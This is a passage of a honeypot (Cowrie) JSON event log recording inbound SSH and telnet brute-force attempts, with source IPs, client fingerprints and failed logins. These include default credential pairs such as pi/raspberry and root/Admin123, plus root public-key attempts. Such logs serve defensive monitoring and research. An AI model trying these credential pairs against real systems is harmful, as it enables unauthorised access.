openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:19.518681Z","src_ip":"31.40.204.166","session":"1043dac91c5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:20.305897Z","src_ip":"31.40.204.166","session":"1043dac91c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.52978253364563,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:20.733562Z","src_ip":"176.65.139.118","session":"6db07aa03c1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":44862,"dst_ip":"159.203.135.109","dst_port":23,"session":"15a62a9f6270","protocol":"telnet","message":"New connection: 176.65.139.118:44862 (159.203.135.109:23) [session: 15a62a9f6270]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:21.134603Z"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:21.483100Z","src_ip":"31.40.204.166","session":"1043dac91c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.7081971168518066,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:24.842661Z","src_ip":"176.65.139.118","session":"15a62a9f6270","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":50062,"dst_ip":"159.203.135.109","dst_port":23,"session":"b61198ff6235","protocol":"telnet","message":"New connection: 176.65.139.118:50062 (159.203.135.109:23) [session: b61198ff6235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:25.111088Z"}
{"eventid":"cowrie.session.closed","duration":47.483317136764526,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:25.743687Z","src_ip":"152.42.224.71","session":"062c16931a33","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.062101125717163,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:27.723171Z","src_ip":"152.42.224.71","session":"bd5de7bbbf2b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53288,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d27a1336ae9","protocol":"telnet","message":"New connection: 152.42.224.71:53288 (10.17.0.5:23) [session: 8d27a1336ae9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:27.929191Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53300,"dst_ip":"10.17.0.5","dst_port":23,"session":"616ee7fe7ab1","protocol":"telnet","message":"New connection: 152.42.224.71:53300 (10.17.0.5:23) [session: 616ee7fe7ab1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:28.304675Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":53594,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd2f15293ad7","protocol":"ssh","message":"New connection: 31.40.204.166:53594 (159.203.135.109:22) [session: fd2f15293ad7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:29.919574Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:29.925377Z","src_ip":"31.40.204.166","session":"fd2f15293ad7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:30.094120Z","src_ip":"31.40.204.166","session":"fd2f15293ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:30.724001Z","src_ip":"31.40.204.166","session":"fd2f15293ad7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"raspberry","message":"login attempt [pi/raspberry] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:31.375438Z","src_ip":"176.65.139.118","session":"b61198ff6235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53314,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3a9747d67da","protocol":"telnet","message":"New connection: 152.42.224.71:53314 (10.17.0.5:23) [session: c3a9747d67da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:31.627683Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:31.908699Z","src_ip":"31.40.204.166","session":"fd2f15293ad7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.652525186538696,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:34.763487Z","src_ip":"176.65.139.118","session":"b61198ff6235","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.118","src_port":38540,"dst_ip":"159.203.135.109","dst_port":23,"session":"0befe65a9fbf","protocol":"telnet","message":"New connection: 176.65.139.118:38540 (159.203.135.109:23) [session: 0befe65a9fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:35.017547Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":53318,"dst_ip":"10.17.0.5","dst_port":23,"session":"21f42df0864f","protocol":"telnet","message":"New connection: 152.42.224.71:53318 (10.17.0.5:23) [session: 21f42df0864f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:35.202861Z"}
{"eventid":"cowrie.session.closed","duration":39.290558099746704,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:36.244302Z","src_ip":"152.42.224.71","session":"4cd58b927a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.8157320022583,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:37.092308Z","src_ip":"152.42.224.71","session":"eabdc264e4ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00108790397644,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:37.131582Z","src_ip":"152.42.224.71","session":"281bc9626197","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":45762,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e339fd3241f","protocol":"ssh","message":"New connection: 31.40.204.166:45762 (159.203.135.109:22) [session: 6e339fd3241f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:40.384419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:40.408879Z","src_ip":"31.40.204.166","session":"6e339fd3241f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:40.582637Z","src_ip":"31.40.204.166","session":"6e339fd3241f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"123456","message":"login attempt [dev/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:41.120207Z","src_ip":"31.40.204.166","session":"6e339fd3241f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:42.322654Z","src_ip":"31.40.204.166","session":"6e339fd3241f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.97.163","src_port":60848,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9c32aef9fe4","protocol":"ssh","message":"New connection: 147.135.97.163:60848 (10.17.0.5:22) [session: a9c32aef9fe4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:46.923958Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:46.928539Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.004837Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f7:5b:2e:b8:5c:ae:9c:a4:1c:dd:e6:df:ee:b5:7e:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmmSUy3t5K04YQvx9s8SC3wUZNTrvVHjcmwSULZyJi4bVicsExGonqVaWmtC724nzc+p/rD3pz1B00o00mnDkGIxrYx7pa/OqtiRr9kGVYO6CRAlIgE8Dj8OXF6qNgTYrlFaKkGpX37qz8EKYFYRhdoe+fc8ezljnXHEgFD+nhL3zzQNxZhr6aYQrX6pDw4y7LbxpatafO31C5J9WwdFjJFFyAnlxtFVH/IHp8ZpmxP7bTyTtDmQ+7Dq/QCWoXg0dsrrXKmN1t4TyPlDxCiT8vaFaTMaZb6qfGRONkNXhK0M4KGXQwJQlj7uKxPmUfC1+d+OWakc6q7C9ILRH9JPC3","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f7:5b:2e:b8:5c:ae:9c:a4:1c:dd:e6:df:ee:b5:7e:04","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.369472Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f7:5b:2e:b8:5c:ae:9c:a4:1c:dd:e6:df:ee:b5:7e:04","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDmmSUy3t5K04YQvx9s8SC3wUZNTrvVHjcmwSULZyJi4bVicsExGonqVaWmtC724nzc+p/rD3pz1B00o00mnDkGIxrYx7pa/OqtiRr9kGVYO6CRAlIgE8Dj8OXF6qNgTYrlFaKkGpX37qz8EKYFYRhdoe+fc8ezljnXHEgFD+nhL3zzQNxZhr6aYQrX6pDw4y7LbxpatafO31C5J9WwdFjJFFyAnlxtFVH/IHp8ZpmxP7bTyTtDmQ+7Dq/QCWoXg0dsrrXKmN1t4TyPlDxCiT8vaFaTMaZb6qfGRONkNXhK0M4KGXQwJQlj7uKxPmUfC1+d+OWakc6q7C9ILRH9JPC3","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.372623Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"59:60:fa:62:21:2f:2f:6d:14:82:03:74:41:ff:7c:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzhd9eEOvZ/JjKS9AoTzU/1V2HzTu6YyjvX5TYSG9COWNWrToRMbeRA/WhdFXYTcDR7c2xW4DGlVZNHqB7RKr54LLnYgasnGqLjketO8bRs7kxj/qbCemSH4V/ggqStRNijEyVMoMmU4v35zLEtRFdvrRtQlSbreWXYhWOw4UkOydCGCxARtT99Memk420eH6xa+nbPec+Z9BTjD6c8J2sNbSBrqpenngsweLVLwWu8X+QN0pm3CXGzRgwlptJz9zspXWq4ENbG8fTHv0TvPq3AEMNI8IWNI21UkEDseLO8qh6dittgnroq6ix23BOXx9RhNlVO5FKS+pvg6Bd486CQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 59:60:fa:62:21:2f:2f:6d:14:82:03:74:41:ff:7c:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.449514Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"59:60:fa:62:21:2f:2f:6d:14:82:03:74:41:ff:7c:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAzhd9eEOvZ/JjKS9AoTzU/1V2HzTu6YyjvX5TYSG9COWNWrToRMbeRA/WhdFXYTcDR7c2xW4DGlVZNHqB7RKr54LLnYgasnGqLjketO8bRs7kxj/qbCemSH4V/ggqStRNijEyVMoMmU4v35zLEtRFdvrRtQlSbreWXYhWOw4UkOydCGCxARtT99Memk420eH6xa+nbPec+Z9BTjD6c8J2sNbSBrqpenngsweLVLwWu8X+QN0pm3CXGzRgwlptJz9zspXWq4ENbG8fTHv0TvPq3AEMNI8IWNI21UkEDseLO8qh6dittgnroq6ix23BOXx9RhNlVO5FKS+pvg6Bd486CQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.453356Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"17:51:e2:c4:3c:08:48:57:e7:d0:e3:83:74:b4:01:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwyWLHCrf88mgh6S8pkCOdJiRskvgonWLZ5QUz9FzwsXiUJqPsf/W/wImZWkUGZWe0rBDX3W0E5T13VM5/1eE6IQHvXwIqHIbX0XvNu23ohX9xgKoxzCeVwG4S0KOrRc+e0FAc7Cl86TyERQ0pZ/0nWdyAnF1Vd3bu+0UPXMld3P5uhDX7UT63GZSeJ6Y22u3qBKEPXS0Fpey7LTlQFrwwMg+VmTgUzstEtocr09cnAzrYidrCe61ADQ6B2Kxamx7uDdzBWTrTH/E5D/Zs51+Xvfqn2z+HC6sLY3HY0SC/Sno/6NyQqvws+GCuAfzZXnN5zZNxDSSPSLJc9xSLuqn6Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 17:51:e2:c4:3c:08:48:57:e7:d0:e3:83:74:b4:01:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.531993Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"17:51:e2:c4:3c:08:48:57:e7:d0:e3:83:74:b4:01:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwyWLHCrf88mgh6S8pkCOdJiRskvgonWLZ5QUz9FzwsXiUJqPsf/W/wImZWkUGZWe0rBDX3W0E5T13VM5/1eE6IQHvXwIqHIbX0XvNu23ohX9xgKoxzCeVwG4S0KOrRc+e0FAc7Cl86TyERQ0pZ/0nWdyAnF1Vd3bu+0UPXMld3P5uhDX7UT63GZSeJ6Y22u3qBKEPXS0Fpey7LTlQFrwwMg+VmTgUzstEtocr09cnAzrYidrCe61ADQ6B2Kxamx7uDdzBWTrTH/E5D/Zs51+Xvfqn2z+HC6sLY3HY0SC/Sno/6NyQqvws+GCuAfzZXnN5zZNxDSSPSLJc9xSLuqn6Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.535620Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:2b:5e:0f:fe:f0:bd:23:62:c8:64:a5:8a:6b:40:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCbmOjbCP7Is9fGiCVx+aoGfaJLapjhUvsvb5y/843fnZpFm9umK2IgopMgG0aK2JeN0UShrHmOUbRmMf0hr5X35g0yqYStpwhCXJCHwpk09LMbffeuVRMi6nzgTc5Q2dT7ch1B5qAv64TKN2Zn0FP0E+ZmDHcjZfo64zA8jS6XQzT3Uzad64M6fjqT45ZCrOlHGahFfIuH2c4aW2JjMwvYVsaCRKhXCAE6gQlgM3FAq+IQu0jcyMlpOSLbaZjyUJCiJWaj5TsE+DyjqCXwEzW7b3rbmIQd4BfD6EFCLvojLszDVqWnte0sJ911tDK4HphqW2LvS4yNOh4xS37i2c67qGyJQRThyzEQPlrqSoc1AEfR2FEnhSR3Us/kvgZO1wTe3QK1w0loXSMxYsyFxFgtEyp02ZOE1DZShB+2JnhyDPBEg4cks0MW5sBGV11k4W+100RpSZ+iiN0Y2niTY891yvj+5ATZTXncrekk/D7Q8QF5i0b3CUXc1PF8CZ8VCE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:2b:5e:0f:fe:f0:bd:23:62:c8:64:a5:8a:6b:40:66","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.613995Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:2b:5e:0f:fe:f0:bd:23:62:c8:64:a5:8a:6b:40:66","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDCbmOjbCP7Is9fGiCVx+aoGfaJLapjhUvsvb5y/843fnZpFm9umK2IgopMgG0aK2JeN0UShrHmOUbRmMf0hr5X35g0yqYStpwhCXJCHwpk09LMbffeuVRMi6nzgTc5Q2dT7ch1B5qAv64TKN2Zn0FP0E+ZmDHcjZfo64zA8jS6XQzT3Uzad64M6fjqT45ZCrOlHGahFfIuH2c4aW2JjMwvYVsaCRKhXCAE6gQlgM3FAq+IQu0jcyMlpOSLbaZjyUJCiJWaj5TsE+DyjqCXwEzW7b3rbmIQd4BfD6EFCLvojLszDVqWnte0sJ911tDK4HphqW2LvS4yNOh4xS37i2c67qGyJQRThyzEQPlrqSoc1AEfR2FEnhSR3Us/kvgZO1wTe3QK1w0loXSMxYsyFxFgtEyp02ZOE1DZShB+2JnhyDPBEg4cks0MW5sBGV11k4W+100RpSZ+iiN0Y2niTY891yvj+5ATZTXncrekk/D7Q8QF5i0b3CUXc1PF8CZ8VCE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.618166Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fb:ed:f7:5b:fe:50:a0:9c:ff:a4:53:40:6e:ad:03:a6","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEArvD2F1ghw4Fk2SE84cNavR9JMFga91AOEbwOGbpt0uiQW3Wds4b/F7jrDJpuUaC3tyNbWArXTaY0/3l6nfJhzQFxcQNczd9KD6Y6W6mlGCQiaCd547TncXstclAmdDYxaDjPZlnajipXwxxvp3r4tAyLbaq8l8EwpRQOSwO8R3xvBSOWDhSf33AHE1cSFGhj9XD9JbVLZt1hkoDYflJw0NaC3+cH2BykNXxxjBnE9nKEOiRzDucZOK/lun9uo/WH9NNQDmDuPggb+t1lSnszk5ZFpg/wAKMnCuCzf7HQU1sV95baPYt8CjXd63JRXCO6q8WotF2qfeLx3ALYq0tanQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fb:ed:f7:5b:fe:50:a0:9c:ff:a4:53:40:6e:ad:03:a6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T01:45:47.699639Z","src_ip":"147.135.97.163","session":"a9c32aef9fe4","protocol":"ssh"}
